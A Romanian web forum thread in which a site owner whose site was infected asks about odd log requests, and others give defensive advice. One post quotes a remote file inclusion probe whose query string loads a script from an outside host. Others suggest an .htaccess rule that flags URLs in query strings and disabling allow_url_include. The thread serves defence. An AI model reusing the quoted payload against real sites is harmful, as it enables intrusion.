Site infectat

[Andrei Luca]

@cristi: Codurile alea sunt legate de Joomla zic eu deci nu ai de ce sa iti faci griji.

[Cristi U]

pot sa blochez din .htacces sa se acceseze orice link care se termina cu .txt ? sau care contine .txt . Sau ce alte solutii ar fi pt asa ceva ? Ma gandesc ca or fi si pentru wordpress

[dacian]

Nah, nu stie nimeni despre ce este vorba in linkurile pe care le-am dat in postul anterior?

A crezut ca ai joomla si a incercat sa exploateze o vulnerabilitate a componentei de contact. Tu cum ai wp evident ca nu a reusit.

[Cristi U]

Probabil ca le ia la rand, si e un fel de "bulk hack" Totusi, revin cu intrebarea, pot sa blochez din .htacces sa fie blocat orice url care contine un fisier .txt ?

[Andrei Luca]

La fel cum blochezi si imaginile pentru hotlinking probabil.
Dar in cazul tau nu are rost pentru ca acel fisier txt nu se afla la tine pe server.

[Cristi U]

?autoLoadConfig9990autoType=include&autoLoadConfig9990loadFile=http://www.vwo-campus.net/echo.txt??? 

http://www.vwo-campus.net/echo.txt

Din ce imi dau seama, codul asta preia ceva informatii... Stie cineva despre ce este vorba? Deja am creat o telenovela cu threadul asta, dar n-as vrea sa mai patesc o data ce am patit, si caut si eu solutii...

[Andrei Luca]

Nu exista autoLoadConfig in WP. Din cate imi amintesc era la un oscommerce asa ceva.
Interesant scriptul btw Ai acces la shell_exec / server dedicat?

[dacian]

Incearca sa pui codul de mai jos in fisierul .htaccess :

<IfModule mod_rewrite.c>
   RewriteEngine on
   RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*)
   RewriteRule ^(.+)$ - [env=rfi:true]
</IfModule>

sau in index.php :

ini_set('allow_url_include', 0);